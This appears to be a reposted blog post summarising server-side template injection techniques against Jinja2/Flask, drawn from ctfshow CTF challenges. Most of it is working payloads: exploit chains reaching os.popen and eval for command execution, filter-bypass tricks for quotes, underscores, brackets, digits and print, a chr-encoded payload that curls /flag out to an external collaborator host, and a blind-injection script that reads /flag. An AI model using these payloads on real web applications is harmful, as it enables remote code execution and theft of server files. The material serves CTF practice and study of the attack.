当前位置:网站首页>Summary of ctfshow SSTI knowledge points
Summary of ctfshow SSTI knowledge points
2022-08-10 07:18:00 【Yee los Ki1ro】
前言
I haven't had much exposure to template injection before,So I took a day to put it onweb入门的SSTI的题目刷完,Refer to the articles of other big guys,Summarize the knowledge points.
SSTI知识点
基础知识
jinja2官方文档 Template Designer Documentation — Jinja Documentation (2.11.x)
- 常用模块、类、方法等
__class__ 类的一个内置属性,表示实例对象的类. __base__ 类型对象的直接基类 __bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类. __subclasses__() 返回这个类的子类集合 __init__ 初始化类,返回的类型是function,通过此方法来调用 __globals__方法 __globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量. __dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里 __getattribute__() 实例、类、函数都具有的__getattribute__魔术方法.事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法.因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性. __getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b') __builtins__ 这里 __builtins__ is the built-in namespace,is a namespace defined by the module itself,There are some built-in functions that we often use in this built-in namespace(i.e. functions that can be called without importing the package)如:print()、str()Also includes some exceptions and other properties. __import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块, __str__() 返回描写这个对象的字符串,可以理解成就是打印出来. url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app. get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且get_flashed_messages.__globals__['__builtins__']含有current_app. lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{ {lipsum.__globals__['os'].popen('ls').read()}} current_app 应用上下文,一个全局变量. request.args.x1 get传参 request.values.x1 所有参数 request.cookies cookies参数 request.headers 请求头参数 request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data) request.data post传参 (Content-Type:a/b) request.json post传json (Content-Type: application/json) config 当前application的所有配置. g { {g}}得到<flask.g of 'flask_ssti'> - jinjaCommon filter functions Official documentation for filter functions
int():将值转换为int类型; float():将值转换为float类型; lower():将字符串转换为小写; upper():将字符串转换为大写; title():把值中的每个单词的首字母都转成大写; capitalize():把变量值的首字母转成大写,其余字母转小写; trim():截取字符串前面和后面的空白字符; wordcount():计算一个长字符串中单词的个数; reverse():字符串反转; replace(value,old,new): 替换将old替换为new的字符串; truncate(value,length=255,killwords=False):截取length长度的字符串; striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格; escape()或e:转义字符,会将<、>等符号转义成HTML中的符号.显例:content|escape或content|e. safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义.示例: { {'<em>hello</em>'|safe}}; list():将变量列成列表; string():将变量转换成字符串; join():将一个序列中的参数值拼接成字符串.示例看上面payload; abs():返回一个数值的绝对值; first():返回一个序列的第一个元素; last():返回一个序列的最后一个元素; format(value,arags,*kwargs):格式化字符串.比如:{ { "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo! length():返回一个序列或者字典的长度; sum():返回列表内数值的和; sort():返回排序后的列表; default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替.示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代.boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true.也可以使用or来替换. length()返回字符串的长度,别名是count
Common exploit chains
利用__import__
{ {"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}} # 注意:__ subclasses __()[75]中的[75]is the location of the subclass,Due to the different classes of the environment the location is also different
利用__builtins__
{ {().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
利用python中的subprocess.Popen()
{ {().__class__.__bases__[0].__subclasses__()[258]("ls",shell=True,stdout=-1).communicate()[0]}}
Take advantage of undefined classes__builtins__
{ {x.__init__.__globals__['__builtins']['eval']("__import__('os').popen('whoami').read()")}} # x可以为a1,aa,absd等,不加引号
通过flask内置方法url_for和get_flashed_messages来利用__builtins__
{ {url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}} { {get_flashed_messages.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
通过flask内置方法lipsum来利用os
{ {lipsum.__globals__['os'].popen('ls').read()}}
通过flaskBuilt-in classes to take advantage of__builtins__或者os
{ {request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()}} { {config.__class__.__init__.__globals__['os'].popen('ls').read()}}
如果不知道具体位置,Can be used for recycling
{% for i in "".__class__.__base__.__subclasses__() %} {% if i.__name__ == '_wrap_close' %} {% for x in i.__init__.__globals__.values() %} {% if x.__class__ == {}.__class__ %} # 筛选出dict类型元素 {% if 'eval' in x.keys() %} { { x['eval']('__import__("os").popen("whoami").read()')}} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
__import__或者__import__Related Available Class Lookup Scripts
search = '__import__' # __builtins__
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
passRelated filtering and bypass methods
过滤单双引号" '
requestfamily bypass
# request.args.x
?name={
{lipsum.__globals__.os.popen(request.args.ocean).read()}}&ocean =cat /flag
# request.values.x
?name={
{lipsum.__globals__.os.popen(request.values.ocean).read()}}&ocean =cat /flag
# request.cookies.x
?name={
{lipsum.__globals__.os.popen(request.cookies.ocean).read()}}
Cookie="ocean=cat /flag"字符串拼接绕过
# 通过__str__()method or by filterstring拼接字符串
?name={
{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}}
或者
?name={
{url_for.__globals__[(config|string)[2]%2B(config|string)[42]}]}
等于
?name={
{url_for.__globals__['os']}}
# chr拼接字符串
?name={% set chr=url_for.__globals__.__builtins__.chr %}{% print url_for.__globals__[chr(111)%2bchr(115)]%}
# join拼接字符串
{% set ohs=(dict(o=a,s=a)|join) %}
{% print url_for.__globals__[ohs] %}
# selectWith strings
{% set a=(()|select|string)[24]) %}
a => "_"过滤args
替换为其它request家族
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)Filter square brackets[]
利用getitem绕过
?name={
{url_for.__globals__['os']}}
等于
?name={
{url_for.__globals__.getitem('os')}}Use dots.绕过
?name={
{url_for.__globals__['os']}}
等于
?name={
{url_for.__globals__.os}}过滤下划线_
利用过滤器attr绕过 attr官方文档
?name={
{lipsum.__globals__.os.popen("cat /flag").read()}}
等于
?name={
{(lipsum|attr(request.values.a)).os.popen("cat /flag").read()}}&a=__globals__
过滤os
利用get绕过
?name={
{(lipsum|attr(request.values.a)).os.popen("cat /flag").read()}}&a=__globals__
等于
?name={
{(lipsum|attr(request.values.a)).get(request.c).popen("cat /flag").read()}}&a=__globals__&c=os过滤request
利用{%%}绕过
?name={
{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag
等于
?name={% print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}&a=__globals__&b=os&c=cat /flag字符串拼接绕过
# 通过__str__()method or by filterstring拼接字符串
?name={
{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}}
或者
?name={
{url_for.__globals__[(config|string)[2]%2B(config|string)[42]}]}
等于
?name={
{url_for.__globals__['os']}}
# chr拼接字符串
?name={% set chr=url_for.__globals__.__builtins__.chr %}{% print url_for.__globals__[chr(111)%2bchr(115)]%}
# join拼接字符串
{% set ohs=(dict(o=a,s=a)|join) %}
{% print url_for.__globals__[ohs] %}
# selectWith strings
{% set a=(()|select|string)[24]) %}
a => "_"过滤数字
Use a numberless exploit chain
{
{x.__init__.__globals__['__builtins']['eval']("__import__('os').popen('whoami').read()")}}
{
{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
{
{get_flashed_messages.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}通过length或者count获取数字
length():返回一个序列或者字典的长度;
?name=
{% set c=(dict(e=a)|join|count)%} # c = 1
{% set cc=(dict(ee=a)|join|count)%} # cc = 2
{% set ccc=(dict(eee=a)|join|count)%} # ccc = 3
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set coun=(cc~cccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}
利用index获取数字
index(): 返回字符的索引值
http://965f672b-0325-41b2-af0b-2c72881896c3.chall.ctf.show:8080/?name=
{% set o=(dict(o=z)|join) %}
{% set n=dict(n=z)|join %}
{% set ershisi=(()|select|string|list).index(o)*(()|select|string|list).index(n) %}
# ershisi = 24
{% set liushisi=(()|select|string|list).index(o)*(()|select|string|list).index(o) %}
# liushisi = 64
{% set xiegang=(config|string|list).pop(-liushisi) %}
{% set gang=(()|select|string|list).pop(ershisi) %}
{% set globals=(gang,gang,(dict(globals=z)|join),gang,gang)|join %}
{% set builtins=(gang,gang,(dict(builtins=z)|join),gang,gang)|join %}
{% set gangfulaige=(xiegang,dict(flag=z)|join)|join %}
{% print (lipsum|attr(globals)).get(builtins).open(gangfulaige).read() %}
过滤print
dns带外
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set ohs=(dict(o=a,s=a)|join)%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=chr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(45)%2bchr(88)%2bchr(32)%2bchr(80)%2bchr(79)%2bchr(83)%2bchr(84)%2bchr(32)%2bchr(45)%2bchr(70)%2bchr(32)%2bchr(120)%2bchr(120)%2bchr(61)%2bchr(64)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(108)%2bchr(53)%2bchr(114)%2bchr(118)%2bchr(99)%2bchr(117)%2bchr(51)%2bchr(118)%2bchr(50)%2bchr(114)%2bchr(50)%2bchr(109)%2bchr(97)%2bchr(98)%2bchr(50)%2bchr(117)%2bchr(102)%2bchr(106)%2bchr(102)%2bchr(111)%2bchr(118)%2bchr(109)%2bchr(100)%2bchr(116)%2bchr(113)%2bchr(107)%2bchr(119)%2bchr(99)%2bchr(107)%2bchr(49)%2bchr(46)%2bchr(98)%2bchr(117)%2bchr(114)%2bchr(112)%2bchr(99)%2bchr(111)%2bchr(108)%2bchr(108)%2bchr(97)%2bchr(98)%2bchr(111)%2bchr(114)%2bchr(97)%2bchr(116)%2bchr(111)%2bchr(114)%2bchr(46)%2bchr(110)%2bchr(101)%2bchr(116)%}
# cmd = curl -X POST -P [email protected]/flag http://xxxx.xxx.xxx.xxx
{% if ((lipsum|attr(glo)).get(ohs).popen(cmd))%}
abc
{% endif %}盲注
import requests
import string
url ='http://85302b44-c999-432c-8891-7ebdf703d6c0.chall.ctf.show/?name={%set aaa=(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4)%}{%if aaa.eval(request.cookies.x5)==request.cookies.x6%}1341{%endif%}'
s=string.digits+string.ascii_lowercase+"{-}"
flag=''
for i in range(1,43):
print(i)
for j in s:
x=flag+j
headers={'Cookie':'''x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=open('/flag').read({0});x6={1}'''.format(i,x)}
r=requests.get(url,headers=headers)
#print(r.text)
if("1341" in r.text):
flag=x
print(flag)
break
边栏推荐
- 自动化测试框架Pytest(二)——前后置处理
- Unity3d famous project-Dark Tree translation
- Introduction to C integer data storage
- mysql数据库定时备份(保留近7天的备份)
- 数据库公共字段自动填充
- 神经网络可视化有3D版本了,美到沦陷 已开源
- 2022 Henan Mengxin League (fifth) game: University of Information Engineering H - Xiao Ming drinking milk tea
- Chapter 12 Other Database Tuning Strategies [2. Index and Tuning] [MySQL Advanced]
- 进程管理(动态的)
- BUUCTF Notes (web)
猜你喜欢

3-6月面经总结,200多页真题笔记和详解(含核心考点及6家大厂)

Elementary Structure

如何设计神经网络结构,神经网络设计与实现

机器人控制器编程实践指导书旧版-实践一 LED灯(数字量)

Based on STC8G2K64S4 single-chip microcomputer to display analog photosensitive analog value through OLED screen

90.(cesium之家)cesium高度监听事件

杭州公积金修改手机号信息

34. Talk about why you want to split the database?What methods are there?

delta method 介绍

About MongoDb query Decimal128 to BigDecimal problem
随机推荐
QT下载清华源配置
34. 谈谈为什么要拆分数据库?有哪些方法?
图像处理用什么神经网络,神经网络提取图片特征
【MySQL】SQL语句
AFNetworking概述和4.0的实践
.NET-7.WPF learning experience summary
复杂AB实验
MySQL database monthly growth problem
Grammar Basics (Judgment Statements)
MVCC详解
浏览器适配杂记
34. Talk about why you want to split the database?What methods are there?
神经网络可视化有3D版本了,美到沦陷 已开源
简单业务类
ctfshow SSTI 知识点总结
2022 Henan Mengxin League (fifth) game: University of Information Engineering H - Xiao Ming drinking milk tea
每日一题,二叉树中增加一行
ATH10传感器读取温湿度
initramfs与initrd的区别
PLSQL学习第四天